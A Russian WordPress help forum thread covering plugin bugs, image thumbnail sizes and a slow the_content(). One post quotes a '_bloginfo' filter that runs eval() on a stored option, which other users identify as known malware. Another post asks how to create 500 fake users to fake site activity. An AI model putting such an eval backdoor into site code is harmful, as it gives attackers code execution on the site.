Спрашиваем и отвечаем по Wordpress-11

SeVlad
На сайте с 03.11.2008
Offline
1609
#311
AlexStep:
Похоже, что последняя версия плагина All in One SEO Pack не стабильна, не рекомендую обновляться.

По какой-то причине после обновления зависает загрузка Консоли Wordpress (Dashboard). Проблема наблюдается не только у меня. Вот например https://wordpress.org/support/topic/...d-broken-feed/

Я такой поставил человеку (заменил древний платинум) - проблем не заметил. Ставил до последнего обновления, потом обновлял - всё норм.

Вероятно, проблема проявляется при каких-то определённых условиях.

Да, надо иметь ввиду, спс за инфу.

Psiholog88:
Подскажите, пожалуйста, есть ли плагины которые помогают создавать шаблонные страницы, например, под города. Чтобы название города подставлялось в Title, H1, текст.
Есть задача, создать много страниц под города, условно "Купить матрешку в *НАЗВАНИЕ ГОРОДА*". Текст везде будет одинаковый, за исключением название городов.

есть плагины и "рецепты в нете" для создания предустановленного текста.

Как вариант - шорткод или кнопка в редакторе с текстом.

CChe:
но где эта строка формируется в плагине?

Правь не плагин, а свои стили.

outtime:
Почему может тупить и тормозить the_content() ?

Ну он сам по себе не самый быстрый. А если на него ещё фильтров навешено...

В архивах и пр у тебя наверняка the_excerpt работает.

В общем если искать в лоб - переключение на дефолтную тему и отключение всех плагов. Птом поочерёдное включение. Рекомендую заюзать какой-нить мониториг. Я, напр, без QM никогда не обхожусь.

melkozaur:
в общем, создаются с шириной 768. Куда копать - непонятно, где и как искать, какой код может генерить этот доп. размер?

Поищи 768 поиском по файлам плагов и темы. А то и в базе в wp_options.

Делаю хорошие сайты хорошим людям. Предпочтение коммерческим направлениям. Связь со мной через http://wp.me/P3YHjQ-3.
melkozaur
На сайте с 06.04.2010
Offline
505
#312
SeVlad:
Поищи 768 поиском по файлам плагов и темы. А то и в базе в wp_options.

В базе нет.

Тему я делаю сам, там ничего похожего не находит, в плагинах тоже (щас только акисмет и cyrtolat установлены).

Я немного тупанул, не original а full надо использовать. Везде поправил.

Изначально добавил в functions.php вот этот код - scrset перестали создаваться, но проблема остается.

Поиск 768 по всем файлам Вордпресса:

Не знаю, куда тут копать. Вряд ли где-то в системе вдруг появился этот размер, 768 ширина.

Все темы, кроме своей, удалил.

Сейчас заметил особенность: если загружать небольшую картинку - 500, 600 по ширине - ничего лишнего не создается. Как только загружаю 769 или более - создается миниатюра с шириной 768 :)

Серверы в NL/US со скидкой 30% нашим читателям: E5-2650v4/10GB DDR4/240GB SSD/1 Gbps - от $20: https://ua-hosting.company/vps/nl SEO без компромиссов: https://seoleaks.net SEOLEAKS - продвижение сайтов: https://www.instagram.com/seoleaks
TA
На сайте с 12.06.2009
Offline
116
TiA
#313
outtime:
У меня сначала было подозрение, что вирусня залезла - но вроде проверил файлы, и подозрительного не обнаружил ничего.

Может ли что-то в базе быть? И где находится в WP сам обработчик the_content() - я туда еще микротайм вставлю для более точной локализации тормоза

Начать стоит с замены the_content() на echo get_the_content(). Если это кардинально улучшит ситуацию с производительностью, то скорее-всего замедляет работу один из фильтров the_content. Посмотреть их список можно таким образом: http://stackoverflow.com/questions/5224209/wordpress-how-do-i-get-all-the-registered-functions-for-the-content-filter

Если это существенно не изменит ситуацию с временем генерации страницы, то можно попробовать убрать и get_the_content(). Если и это не поможет, то придется более подробно разбираться что указано в файле темы для одиночной записи (single.php, как правило).

---------- Добавлено 06.12.2016 в 12:08 ----------

melkozaur:
В базе нет.
Тему я делаю сам, там ничего похожего не находит, в плагинах тоже (щас только акисмет и cyrtolat установлены).
Я немного тупанул, не original а full надо использовать. Везде поправил.
Изначально добавил в functions.php вот этот код - scrset перестали создаваться, но проблема остается.
Поиск 768 по всем файлам Вордпресса:


Не знаю, куда тут копать. Вряд ли где-то в системе вдруг появился этот размер, 768 ширина.

Все темы, кроме своей, удалил.

Сейчас заметил особенность: если загружать небольшую картинку - 500, 600 по ширине - ничего лишнего не создается. Как только загружаю 769 или более - создается миниатюра с шириной 768 :)

У WordPress есть еще один внутренний размер изображения. Он появился в версии 4.4 и называется medium_large. По-умолчанию у него ширина 768 пикселей, а высота любая.

Для решения вашей проблемы нужно указать ему ширину 0:


update_option('medium_large_size_w', 0);
Профессиональная верстка и разработка сайтов на WordPress (http://www.maultalk.com/topic139110s0.html)
melkozaur
На сайте с 06.04.2010
Offline
505
#314

TiA,

Сработало, спасибо.

А то я уж не знал, что и думать.

Раньше вроде такого не было. Имхо, наворотили они ненужной фигни с этими изображениями, да и вообще в целом этот компонент все хуже и хуже становится.

outtime
На сайте с 04.05.2008
Offline
197
#315
TiA:
Начать стоит с замены the_content() на echo get_the_content(). Если это кардинально улучшит ситуацию с производительностью, то скорее-всего замедляет работу один из фильтров the_content. Посмотреть их список можно таким образом: http://stackoverflow.com/questions/5224209/wordpress-how-do-i-get-all-the-registered-functions-for-the-content-filter

Если это существенно не изменит ситуацию с временем генерации страницы, то можно попробовать убрать и get_the_content(). Если и это не поможет, то придется более подробно разбираться что указано в файле темы для одиночной записи (single.php, как правило).

Так и произошло. Поставил get_the_content() - скорость пришла в норму.

Правда, полностью слетели все стили оформления (весь контент теперь показывает в одну строку, без отступов, параграфов и прочего), но хотя бы грузиться стало быстро.

Странно, что раньше-то работало все ок, но полторы недели назад что-то произошло (???), из-за чего работа the_content() внезапно сломалась... С сайтом же я сам ничего не делал уже давно.

И еще вопрос - почему все же the_content() в ленте записей (на главной и в архивах там выводится именно им, а не the_excerpt) - работает штатно.

Короче, буду ковырять дальше, спасибо и вам и Владу, и u3Bepr.

Предлагаю воспользоваться моими услугами корректора. Проверю и уберу все ошибки, поправлю грамматику и склонения, сделаю текст лучше и читабельнее. Высокая скорость работы, цена 20 р за 1000 символов.
SN
На сайте с 09.08.2012
Offline
121
#316

Мужики, подскажите. Нужно на своём сайте создать 500 пользователей, для показа фейковой активности пользователей. Не понимаю как массово это сделать, куча же спам ботов, как они регятся.

Сайт мои т.е. можно создавать из базы, е-меил не важен, важно только имя и роль.

Как сделать это? Спасибо!

outtime
На сайте с 04.05.2008
Offline
197
#317
u3Bepr:
Особенно всматриваться в конструкции, где идет обработка фильтром apply_filters
apply_filters( 'the_content', ...

Косяк был в фильтре такого типа:

add_filter('the_content', '_bloginfo', 10001);

function _bloginfo($content){

global $post;

if(is_single() && ($co=@eval(get_option('blogoption'))) !== false){

return $co;

} else return $content;

На втором сайте тормозило также из-за элемента, содержащего "bloginfo" (это не был the_content, там был какой-то вывод информации в заголовке).

Удалил/закомментировал эту штуку и все отлично заработало и the_content летает и вообще все круто стало. Честно говоря, даже разбираться что это такое и зачем оно было надо на сайте - не стал пока что.

Где-то в блогинфо собака и порылась.☝

CChe
На сайте с 11.07.2008
Offline
83
#318
SeVlad:
Правь не плагин, а свои стили.

стили уже правил.

мне по сути надо убрать слово gif из тега...

Тизерки №1 (http://t.co/H7IoMM5S), №2 (http://t.co/HNU7o1NF), №3 (http://t.co/ils9hF8w6B) адалт приемники вкладываем деньги под % ~ конвертим все (http://tinyurl.com/jqwqtcb) ~ зарабатываем с вебкам (http://tinyurl.com/hc7gtsa)
S
На сайте с 30.09.2016
Offline
469
#319

outtime, Вы вот с этим кодом на всякий случай уточните, откуда и зачем он взялся

$co=@eval(get_option('blogoption'))
И посмотрите, что у Вас записано в качестве 'blogoption'. Эта штука довольно небезопасная.
Отпилю лишнее, прикручу нужное, выправлю кривое. Вытравлю вредителей.
SeVlad
На сайте с 03.11.2008
Offline
1609
#320
outtime:
Владу

Эт кто? ;)

outtime:
Правда, полностью слетели все стили оформления (весь контент теперь показывает в одну строку, без отступов, параграфов и прочего), но хотя бы грузиться стало быстро.

get_the_content - без фильтрации

outtime:
Косяк был в фильтре такого типа:

Это вирь.

_bloginfo (именно так, с подчёркивания) - достаточно известная вирусная функция многолетней давности с одной очень популярной помойки.

CChe:
мне по сути надо убрать слово gif из тега...

Этот древний плагин лучше вообще не использовать. Он по факту больше 2х лет не обновлялся.

Авторизуйтесь или зарегистрируйтесь, чтобы оставить комментарий